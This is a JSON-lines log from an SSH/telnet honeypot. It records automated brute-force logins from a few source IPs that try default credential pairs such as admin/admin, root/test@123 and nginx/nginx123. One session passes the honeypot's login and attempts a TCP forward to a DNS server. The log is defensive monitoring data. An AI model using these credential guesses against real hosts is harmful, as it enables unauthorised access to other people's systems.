{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:13.033038Z","src_ip":"193.151.144.93","session":"c77f0117fe45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:13.204865Z","src_ip":"193.151.144.93","session":"c77f0117fe45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:13.720248Z","src_ip":"193.151.144.93","session":"c77f0117fe45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:14.894546Z","src_ip":"193.151.144.93","session":"c77f0117fe45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.938724994659424,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:17.562051Z","src_ip":"69.4.83.194","session":"7e375fb18d29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":58200,"dst_ip":"10.17.0.5","dst_port":22,"session":"057dc0edadfb","protocol":"ssh","message":"New connection: 193.151.144.93:58200 (10.17.0.5:22) [session: 057dc0edadfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:18.677935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:18.683789Z","src_ip":"193.151.144.93","session":"057dc0edadfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:18.852524Z","src_ip":"193.151.144.93","session":"057dc0edadfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:19.355880Z","src_ip":"193.151.144.93","session":"057dc0edadfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:20.529779Z","src_ip":"193.151.144.93","session":"057dc0edadfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":39250,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e40840576ea","protocol":"ssh","message":"New connection: 193.151.144.93:39250 (10.17.0.5:22) [session: 1e40840576ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:24.137412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:24.143786Z","src_ip":"193.151.144.93","session":"1e40840576ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:24.372896Z","src_ip":"193.151.144.93","session":"1e40840576ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:24.951982Z","src_ip":"193.151.144.93","session":"1e40840576ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:26.126018Z","src_ip":"193.151.144.93","session":"1e40840576ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":53710,"dst_ip":"10.17.0.5","dst_port":22,"session":"213d459cedc3","protocol":"ssh","message":"New connection: 87.251.64.176:53710 (10.17.0.5:22) [session: 213d459cedc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:29.480881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:29.487477Z","src_ip":"87.251.64.176","session":"213d459cedc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":39260,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6cb1848d596","protocol":"ssh","message":"New connection: 193.151.144.93:39260 (10.17.0.5:22) [session: b6cb1848d596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:29.494162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:29.499677Z","src_ip":"193.151.144.93","session":"b6cb1848d596","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:29.583627Z","src_ip":"87.251.64.176","session":"213d459cedc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:29.660418Z","src_ip":"193.151.144.93","session":"b6cb1848d596","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:29.871710Z","src_ip":"87.251.64.176","session":"213d459cedc3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:29.970045Z","session":"213d459cedc3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:30.067216Z","src_ip":"87.251.64.176","session":"213d459cedc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:30.151196Z","src_ip":"193.151.144.93","session":"b6cb1848d596","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:30.182320Z","src_ip":"87.251.64.176","session":"213d459cedc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:31.314949Z","src_ip":"193.151.144.93","session":"b6cb1848d596","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":36000,"dst_ip":"10.17.0.5","dst_port":22,"session":"fec208e9a4a4","protocol":"ssh","message":"New connection: 193.151.144.93:36000 (10.17.0.5:22) [session: fec208e9a4a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:34.973845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:34.979009Z","src_ip":"193.151.144.93","session":"fec208e9a4a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:35.149380Z","src_ip":"193.151.144.93","session":"fec208e9a4a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:35.661150Z","src_ip":"193.151.144.93","session":"fec208e9a4a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:37.283023Z","src_ip":"193.151.144.93","session":"fec208e9a4a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":57440,"dst_ip":"10.17.0.5","dst_port":22,"session":"99f83dfd9e56","protocol":"ssh","message":"New connection: 193.151.144.93:57440 (10.17.0.5:22) [session: 99f83dfd9e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:40.203481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:40.209309Z","src_ip":"193.151.144.93","session":"99f83dfd9e56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:40.375275Z","src_ip":"193.151.144.93","session":"99f83dfd9e56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:40.875513Z","src_ip":"193.151.144.93","session":"99f83dfd9e56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":73.61310744285583,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:41.567799Z","src_ip":"178.128.93.180","session":"fc996c4399e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:42.883924Z","src_ip":"193.151.144.93","session":"99f83dfd9e56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":57454,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d77131a751b","protocol":"ssh","message":"New connection: 193.151.144.93:57454 (10.17.0.5:22) [session: 4d77131a751b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:45.599374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:45.605506Z","src_ip":"193.151.144.93","session":"4d77131a751b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:45.773230Z","src_ip":"193.151.144.93","session":"4d77131a751b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:47.714092Z","src_ip":"193.151.144.93","session":"4d77131a751b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:48.884920Z","src_ip":"193.151.144.93","session":"4d77131a751b","protocol":"ssh"}
